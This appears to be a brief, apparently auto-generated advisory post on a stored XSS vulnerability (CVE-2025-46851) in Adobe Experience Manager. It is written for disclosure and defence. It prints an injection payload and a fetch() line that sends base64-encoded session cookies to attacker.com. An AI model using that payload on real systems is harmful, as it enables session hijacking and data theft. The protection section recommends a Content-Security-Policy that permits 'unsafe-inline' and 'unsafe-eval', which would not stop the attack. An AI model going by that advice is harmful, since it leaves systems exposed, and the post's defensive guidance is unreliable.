How the CVE Works
CVE-2025-46851 is a stored XSS vulnerability in Adobe Experience Manager (AEM) versions 6.5.22 and earlier. The flaw exists due to insufficient input sanitization in web form fields, allowing attackers with low privileges to inject malicious JavaScript payloads. When a victim accesses a compromised page, the script executes in their browser, potentially leading to session hijacking, data theft, or unauthorized actions within the AEM interface. The attack persists because the payload is stored server-side, affecting all users who view the tainted content.

Vulnerability: Stored XSS
Severity: Critical
Date: 06/13/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation:
1. Payload Injection:
<script>alert(document.cookie)</script>
Inserted into vulnerable AEM form fields (e.g., comments, user profiles).
2. Triggering the Exploit:
Victims execute the payload upon visiting the infected page.
3. Exfiltration:
fetch('https://attacker.com/steal?data=' + btoa(document.cookie));
Protection:
1. Input Sanitization:
// AEM Filter example String sanitized = ESAPI.encoder().encodeForHTML(userInput);
2. CSP Header:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
3. Patch Verification:
aemcli --version | grep "6.5.23"
4. WAF Rules:
location / {
modsecurity_rules 'SecRule ARGS "@rx <script>" "id:1000,deny"';
}
Detection:
1. Log Analysis:
grep -r "eval(" /var/log/aem/
2. Scanner Command:
nuclei -t xss -u https://aem-instance/content/forms/
3. Mitigation Workaround:
Disable risky form components until patched.
Analytics:
- Exploit Complexity: Low (no auth bypass required).
- Attack Vector: Web-based.
- Likelihood: High (publicly exploitable).
- Patch Priority: Immediate (critical data exposure risk).
